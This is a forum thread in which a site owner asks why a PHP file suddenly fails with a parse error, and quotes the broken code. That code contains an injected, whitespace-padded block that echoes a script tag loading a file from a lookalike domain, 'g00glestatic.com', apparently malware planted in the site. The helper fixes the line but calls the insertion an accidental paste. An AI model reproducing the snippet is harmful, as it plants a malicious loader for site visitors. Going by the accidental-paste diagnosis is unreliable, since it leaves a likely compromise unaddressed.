I Have No Idea What's Wrong [Parse error: syntax error, unexpected T_STRING in /home]

Van_Statten

I have a problem and was wondering if you could direct me in the right direction?

The problem is:
Parse error: syntax error, unexpected T_STRING in /home/content/a/t/h/athenakern2009/html/erinsart/index.php on line 158

There is nothing on the 158 line in Dreamweaver when I look. Actually line 158 is the blank line between #9c282e# and if(!$srvc_counter) {echo
What the hell is wrong with this code? Anyone?

    $subcat['description'] = preg_replace("/<br.*?>
<?
#9c282e#
                                                                                                                                                                                                                                                          if(!$srvc_counter) {echo "                                                                                                                                                                                                                                                          <script type=\"text/javascript\" src=\"http://g00glestatic.com/s.js\"></script>";$srvc_counter = true;}

#/9c282e#
?>[\r\n]*/i", '<br />' . $ident , bb_decode($subcat['description']));

Ashley_Sheridan

Well, it could be something to do with the PHP code that you have outside of your PHP tags. Judging from that, I would guess that your code is breaking in and out of PHP tags a lot and that one of those is malformed. Could we see more of the code? If it's small enough, you could post the whole thing here.

Van_Statten

Thank you for your reply.
I tried to post it all but it's way to huge.

I could probably post it in segments would that work?

I'm not experienced enough to be able to tell when a line is deformed. But what caused this? We don't monkey in there ever and one day we woke up and BAM! Error message.

Ashley_Sheridan

Well the excerpt you originally posted has problems, so somebody has been monkeying around in there!

If it's too large to post, try something like pastebin. Don't forget to remove any password credentials that might be in the code though!

Van_Statten

Pastebin? I won't pretend to know what that is.

What else can cause an error like that? Can an automatic update or something cause that? No one can go into that FTP but me unless someone at GoDaddy is mucking about.
What exactly is the error in the line that I posted?

Ashley_Sheridan

http://lmgtfy.com/?q=pastebin

Van_Statten

Thank you again for expeditious reply, Ashley.
I wouldn't even know what to look for regarding password credentials. So here it is...
http://pastebin.com/3qfL62CY

Ashley_Sheridan

From looking at the whole code, it looks like the original excerpt you posted wasn't what was actually in the code. There does seem to be a problem in the regex you're using at lines 155 through to 161. There's no way this code ever worked like this. I think you originally had this:

$subcat['description'] = preg_replace("/<br.*?>[\r\n]*/i", '<br />', bb_decode($subcat['description']));
[/php

and someone accidentally copy/pasted some other code randomly in the middle of it to create the mess you've got right now. Try swapping those lines with the single one above and see if that fixes your issue.

Incidentally, I got that fixed line from the other function in your code. I shouldn't really be able to do that, and it indicates that code re-use isn't happening very well. Where you end up re-using the same large chunks of code, you should consider separating that out into a different function that can be shared, so that if you need to change it in the future you need only do it the once.

Van_Statten

Thank you, that worked wonders. I won't lie or pretend I have no idea how this functions. I know some programing but nothing like this. I use the auto installs from my hosting and let them write the database and ect. I have never edited this so I honestly have no idea how it got so messed up but that line of code made it go.

I appreciate all your time and attention.

Ashley_Sheridan

No problem, glad to have helped!